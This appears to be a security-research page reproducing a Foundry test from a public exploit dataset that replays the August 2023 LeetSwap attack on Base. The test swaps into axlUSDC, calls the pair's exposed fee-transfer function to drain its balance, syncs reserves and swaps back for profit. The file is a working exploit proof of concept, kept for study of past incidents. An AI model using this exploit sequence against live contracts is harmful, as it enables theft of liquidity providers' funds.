Public reproduction file

src/test/2023-08/Leetswap_exp.sol

Public reproduction file for dataset entry LeetSwap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/Leetswap_exp.sol65 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~630K USD$
8// Attacker : https://basescan.org/address/0x705f736145bb9d4a4a186f4595907b60815085c3
9// Attack Contract : https://basescan.org/address/0xea8f89f47f3d4293897b4fe8cb69b5c233b9f560
10// Vulnerable Contract : https://basescan.org/address/0x94dac4a3ce998143aa119c05460731da80ad90cf
11// Attack Tx : https://basescan.org/tx/0xbb837d417b76dd237b4418e1695a50941a69259a1c4dee561ea57d982b9f10ec
12 
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0x94dac4a3ce998143aa119c05460731da80ad90cf#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/BlockSecTeam/status/1686217464051539968
18// Twitter Guy : https://twitter.com/peckshield/status/1686209024587710464
19 
20interface ILeetSwapPiar {
21    function _transferFeesSupportingTaxTokens(address token, uint256 amount) external returns (uint256);
22 
23    function sync() external;
24}
25 
26contract ContractTest is Test {
27    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);
28    IERC20 axlUSDC = IERC20(0xEB466342C4d449BC9f53A865D5Cb90586f405215);
29    Uni_Router_V2 Router = Uni_Router_V2(0xfCD3842f85ed87ba2889b4D35893403796e67FF1);
30    ILeetSwapPiar Pair = ILeetSwapPiar(0x94dAC4a3Ce998143aa119c05460731dA80ad90cf);
31 
32    function setUp() public {
33        vm.createSelectFork("base", 2_031_746);
34        vm.label(address(WETH), "WETH");
35        vm.label(address(axlUSDC), "axlUSDC");
36        vm.label(address(Router), "Router");
37        vm.label(address(Pair), "Piar");
38    }
39 
40    function testExploit() external {
41        deal(address(WETH), address(this), 0.001 ether);
42        WETH.approve(address(Router), type(uint256).max);
43        address[] memory path = new address[](2);
44        path[0] = address(WETH);
45        path[1] = address(axlUSDC);
46 
47        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
48            0.001 ether, 0, path, address(this), block.timestamp
49        );
50 
51        Pair._transferFeesSupportingTaxTokens(address(axlUSDC), axlUSDC.balanceOf(address(Pair)) - 100);
52        Pair.sync();
53 
54        axlUSDC.approve(address(Router), type(uint256).max);
55        path[0] = address(axlUSDC);
56        path[1] = address(WETH);
57        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
58            axlUSDC.balanceOf(address(this)), 0, path, address(this), block.timestamp
59        );
60 
61        emit log_named_decimal_uint(
62            "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
63        );
64    }
65}

Analysis

Dataset entry

Public Foundry test for “LeetSwap” (2023-08-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-08/Balancer_exp.solSame month in the dataset · 220 lines
src/test/2023-08/BTC20_exp.solSame month in the dataset · 128 lines
src/test/2023-08/CurveBurner_exp.solSame month in the dataset · 151 lines
src/test/2023-08/EAC_exp.solSame month in the dataset · 54 lines
src/test/2023-08/EarningFram_exp.solSame month in the dataset · 95 lines
src/test/2023-08/EHIVE_exp.solSame month in the dataset · 142 lines
src/test/2023-08/Exactly_exp.solSame month in the dataset · 479 lines
src/test/2023-08/GSS_exp.solSame month in the dataset · 62 lines
src/test/2023-08/NeutraFinance_exp.solSame month in the dataset · 413 lines
src/test/2023-08/SVT_exp.solSame month in the dataset · 58 lines
src/test/2023-08/Uwerx_exp.solSame month in the dataset · 72 lines
src/test/2023-08/Zunami_exp.solSame month in the dataset · 200 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x705f736145bb9d4a4a186f4595907b60815085c3
Attack Contract
0xea8f89f47f3d4293897b4fe8cb69b5c233b9f560
Vulnerable Contract
0x94dac4a3ce998143aa119c05460731da80ad90cf

Attack Tx
0xbb837d417b76dd237b4418e1695a50941a69259a1c4dee561ea57d982b9f10ec

File record

Name: LeetSwap
Path: src/test/2023-08/Leetswap_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 8c725e910cc925ca9f76fd49f832d95451681155
Language: Solidity
Size: 66 lines
Date: 2023-08-01
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-08/Leetswap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8c725e910cc925ca9f76fd49f832d95451681155, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.